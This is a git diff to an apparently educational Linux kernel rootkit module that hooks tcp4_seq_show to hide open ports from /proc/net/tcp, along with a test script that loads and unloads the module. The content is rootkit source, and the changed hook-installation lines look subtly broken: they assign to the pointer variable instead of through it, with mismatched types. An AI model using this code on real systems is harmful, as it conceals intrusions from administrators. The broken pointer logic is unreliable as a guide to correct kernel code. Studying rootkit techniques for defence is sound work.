diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
index ab4eff6..70d1d98 100644
--- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
+++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
@@ -14,14 +14,14 @@
 MODULE_DESCRIPTION("Hiding open ports");
 MODULE_VERSION("0.01");
 
-unsigned long * __tcp4_seq_show;
+static unsigned long * __tcp4_seq_show;
 
 /* We have to save a copy of the tcp4_seq_show function the same way we save syscalls */
 typedef asmlinkage int (*orig_tcp4_seq_show_t)(struct net *);
 orig_tcp4_seq_show_t orig_tcp4_seq_show;
 
 /* This is our hook function for tcp4_seq_show */
-static int hook_tcp4_seq_show(struct seq_file *seq, void *v)
+asmlinkage int hook_tcp4_seq_show(struct seq_file *seq, void *v)
 {
 	struct tcp_iter_state *st;
 	struct sock *sk = v;
@@ -88,8 +88,8 @@
 	unprotect_memory();
 
 	/* Set __tcp4_seq_show to our hook */
-	printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show with 0x%lx\n", hook_tcp4_seq_show);
-	*__tcp4_seq_show = hook_tcp4_seq_show;
+	printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show... (0x%lx)\n", hook_tcp4_seq_show);
+	__tcp4_seq_show = (unsigned long)hook_tcp4_seq_show;
 
 	protect_memory();
 
@@ -101,9 +101,8 @@
 	unprotect_memory();
 	
 	/* Set __tcp4_seq_show back to the saved original function */
-	printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show with 0x%lx\n", orig_tcp4_seq_show);
-	*__tcp4_seq_show = orig_tcp4_seq_show;
-	printk(KERN_DEBUG "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show);
+	printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show... (0x%lx)\n", orig_tcp4_seq_show);
+	__tcp4_seq_show = (unsigned long)orig_tcp4_seq_show;
 
 	protect_memory();
 	
diff --git a/3_RootkitTechniques/3.6_hiding_ports/test.sh b/3_RootkitTechniques/3.6_hiding_ports/test.sh
index 66ab63b..6e97b95 100755
--- a/3_RootkitTechniques/3.6_hiding_ports/test.sh
+++ b/3_RootkitTechniques/3.6_hiding_ports/test.sh
@@ -6,6 +6,10 @@
 
 sudo insmod rootkit.ko &&
 
+echo "" &&
+cat /proc/net/tcp &&
+echo "" &&
+
 sudo rmmod rootkit &&
 
 dmesg